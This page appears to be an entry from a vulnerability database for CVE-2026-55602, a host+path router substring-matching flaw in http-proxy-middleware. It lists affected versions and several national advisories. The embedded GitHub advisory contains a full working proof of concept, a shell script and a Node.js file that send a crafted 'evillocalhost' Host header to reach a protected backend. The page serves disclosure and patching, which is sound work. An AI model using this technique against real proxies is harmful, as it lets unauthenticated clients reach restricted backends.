CVE-2026-55602
highpriority · track · 34EPSS 0.004 · 32 %ileDEEUFRNLUSEPSS · scored 2026-10-27
http-proxy-middleware is node.js http-proxy middleware. From 0.16.0 until 2.0.10, 3.0.6, and 4.1.0, http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend. This vulnerability is fixed in 2.0.10, 3.0.6, and 4.1.0.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · low–high · 2.7–8.6
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (20)
Products and version ranges known to be affected.
- chimurai http-proxy-middleware0.16.0 → 2.0.10nvdUScpe:2.3:a:chimurai:http-proxy-middleware:*:*:*:*:*:*:*:*
- chimurai http-proxy-middleware3.0.0 → 3.0.6nvdUScpe:2.3:a:chimurai:http-proxy-middleware:*:*:*:*:*:*:*:*
- chimurai http-proxy-middleware4.0.0 → 4.1.0nvdUScpe:2.3:a:chimurai:http-proxy-middleware:*:*:*:*:*:*:*:*
advisories (4)
Vendor and ecosystem advisories describing this.
- NCSC-2026-0431Kwetsbaarheden verholpen in IBM DataPower Gateway en onderliggende componentenNL2026-10-16csaf · ncsc_nlNL
IBM heeft meerdere beveiligingsproblemen opgelost in DataPower Gateway versies 10.5 tot 11.0 en een veelvoud aan onderliggende subcomponenten.
- WID-SEC-W-2026-3623IBM DataPower Gateway: Mehrere SchwachstellenDeutsch2026-09-28csaf · cert_bundDE
Ein Angreifer kann mehrere Schwachstellen in IBM DataPower Gateway ausnutzen, um beliebigen Programmcode auszuführen, erweiterte Berechtigungen zu erlangen, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren oder offenzulegen, einen Denial-of-Service-Zustand auszulösen oder Cross-Site-Scripting-Angriffe durchzuführen.
- GHSA-64mm-vxmg-q3vjhttp-proxy-middleware `router` host+path substring matching allows Host-header-driven backend routing bypass2026-06-18ghsa · osvUS
# Summary `http-proxy-middleware` documents `router` proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted `Host` header that is only a superstring match for a configured host+path key can still route a request to an unintended backend. # Details Tested code state: - validated on tag `v4.0.0-beta.5` - corresponding commit: `339f09ede860197807d4fd99ed9020fa5d0bd358` Relevant code locations: - `src/router.ts` - `src/http-proxy-middleware.ts` Affected public API: - `createProxyMiddleware({ router: { 'host/path': 'http://target' } })` Code explanation: When a proxy-table router key contains `/`, `getTargetFromProxyTable()` concatenates attacker-controlled `req.headers.host` and `req.url` into a single `hostAndPath` string, then accepts the route if: ```ts hostAndPath.indexOf(key) > -1 ``` That is a substring test, not an exact host match plus intended path match. In the validated PoC, the configured router key is: ```txt localhost:3000/api ``` but the attacker-controlled host is: ```txt evillocalhost:3000 ``` and the request path is: ```txt /api ``` The concatenated attacker-controlled string: ```txt evillocalhost:3000/api ``` still contains the configured router key as a substring, so the middleware selects the alternate backend even though the host is not equal to the configured host. Exploit path: 1. the application enables the documented proxy-table `router` feature with at least one host+path rule 2. an external attacker sends an ordinary HTTP request with a crafted `Host` header 3. `HttpProxyMiddleware.prepareProxyRequest()` applies router selection before proxying 4. `getTargetFromProxyTable()` accepts the crafted `Host + path` string through substring matching 5. the request is proxied to the wrong backend ## PoC Create these files in the same working directory and run: ```bash bash ./run.sh ``` ### File: `run.sh` ```bash #!/usr/bin/env bash set -euo pipefail SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" REPO_URL="https://github.com/chimurai/http-proxy-middleware.git" REPO_REF="v4.0.0-beta.5" WORKDIR="$(mktemp -d "${SCRIPT_DIR}/.tmp-repro.XXXXXX")" TARGET_REPO_DIR="${WORKDIR}/repo" REPRO_DIR="${WORKDIR}/reproduction" IMAGE_TAG="http-proxy-middleware-router-bypass-poc" cleanup() { rm -rf "${WORKDIR}" } trap cleanup EXIT echo "[a3] cloning target repository" git clone --quiet "${REPO_URL}" "${TARGET_REPO_DIR}" git -C "${TARGET_REPO_DIR}" checkout --quiet "${REPO_REF}" mkdir -p "${REPRO_DIR}" cp "${SCRIPT_DIR}/Dockerfile" "${WORKDIR}/Dockerfile" cp "${SCRIPT_DIR}/verify.mjs" "${REPRO_DIR}/verify.mjs" echo "[a3] building reproduction image" docker build -f "${WORKDIR}/Dockerfile" -t "${IMAGE_TAG}" "${WORKDIR}" echo "[a3] running verification" docker run --rm "${IMAGE_TAG}" node /work/reproduction/verify.mjs ``` ### File: `Dockerfile` ```Dockerfile FROM node:22-bullseye WORKDIR /work COPY repo/package.json repo/yarn.lock /work/repo/ RUN corepack enable \ && cd /work/repo \ && yarn install --frozen-lockfile COPY repo /work/repo RUN cd /work/repo && yarn build COPY reproduction /work/reproduction ``` ### File: `verify.mjs` ```js import http from 'node:http'; import fs from 'node:fs'; import assert from 'node:assert/strict'; import { createProxyMiddleware } from '/work/repo/dist/index.js'; const ROUTER_KEY = 'localhost:3000/api'; const CRAFTED_HOST = 'evillocalhost:3000'; function listen(server, port) { return new Promise((resolve) => { server.listen(port, '127.0.0.1', () => resolve()); }); } function close(server) { return new Promise((resolve, reject) => { server.close((err) => { if (err) { reject(err); return; } resolve(); }); }); } function request(path, host) { return new Promise((resolve, reject) => { const req = http.request( { host: '127.0.0.1', port: 3000, path, method: 'GET', headers: { Host: host, }, }, (res) => { let data = ''; res.setEncoding('utf8'); res.on('data', (chunk) => { data += chunk; }); res.on('end', () => { resolve({ statusCode: res.statusCode, body: data }); }); }, ); req.on('error', reject); req.end(); }); } const defaultBackend = http.createServer((req, res) => { res.end('DEFAULT'); }); const secretBackend = http.createServer((req, res) => { res.end('SECRET'); }); const proxyMiddleware = createProxyMiddleware({ target: 'http://127.0.0.1:3101', router: { [ROUTER_KEY]: 'http://127.0.0.1:3102', }, }); const proxyServer = http.createServer((req, res) => { proxyMiddleware(req, res, () => { res.statusCode = 404; res.end('NO_PROXY'); }); }); try { assert.ok(fs.existsSync('/work/repo/dist/index.js')); assert.ok(fs.existsSync('/work/reproduction/verify.mjs')); await listen(defaultBackend, 3101); await listen(secretBackend, 3102); await listen(proxyServer, 3000); console.log('STEP start-services ok'); const baseline = await request('/api', 'safe.example:3000'); assert.equal(baseline.statusCode, 200); assert.equal(baseline.body, 'DEFAULT'); console.log(`STEP baseline-route body=${baseline.body}`); const crafted = await request('/api', CRAFTED_HOST); assert.equal(crafted.statusCode, 200); assert.equal(crafted.body, 'SECRET'); assert.notEqual(CRAFTED_HOST, ROUTER_KEY.split('/')[0]); console.log(`STEP crafted-route body=${crafted.body}`); console.log('RESULT reproduced host_header_injection router substring match bypass'); } finally { await Promise.allSettled([close(proxyServer), close(defaultBackend), close(secretBackend)]); } ``` This PoC starts: - one default backend returning `DEFAULT` - one alternate backend returning `SECRET` - one proxy using: ```js createProxyMiddleware({ target: 'http://127.0.0.1:3101', router: { [ROUTER_KEY]: 'http://127.0.0.1:3102', }, }); ``` It then sends: 1. a baseline request to `/api` with `Host: safe.example:3000` 2. a crafted request to `/api` with `Host: evillocalhost:3000` Observed result from the validated PoC: - baseline request: `STEP baseline-route body=DEFAULT` - crafted request: `STEP crafted-route body=SECRET` - success marker: `RESULT reproduced host_header_injection router substring match bypass` The PoC is considered successful only if: 1. the baseline request stays on the default backend 2. the crafted request reaches the alternate backend 3. the crafted host is not equal to the configured router host # Impact This is a backend-selection integrity issue in a documented library feature. Applications that use host+path router-table rules for backend segmentation, tenant routing, or separation of public and more sensitive upstreams can have that routing boundary bypassed by an unauthenticated external client using an ordinary crafted `Host` header.
- CERTFR-2026-AVI-1385Multiples vulnérabilités dans les produits VMwareFrançais2026-10-26vendor · certfrFR
also known as (3)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (3)
External citations — patches, advisories, analysis.
- https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-64mm-vxmg-q3vjcnnvd
- https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-64mm-vxmg-q3vjenisa_euvd
- https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-64mm-vxmg-q3vjExploitVendor Advisorynvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan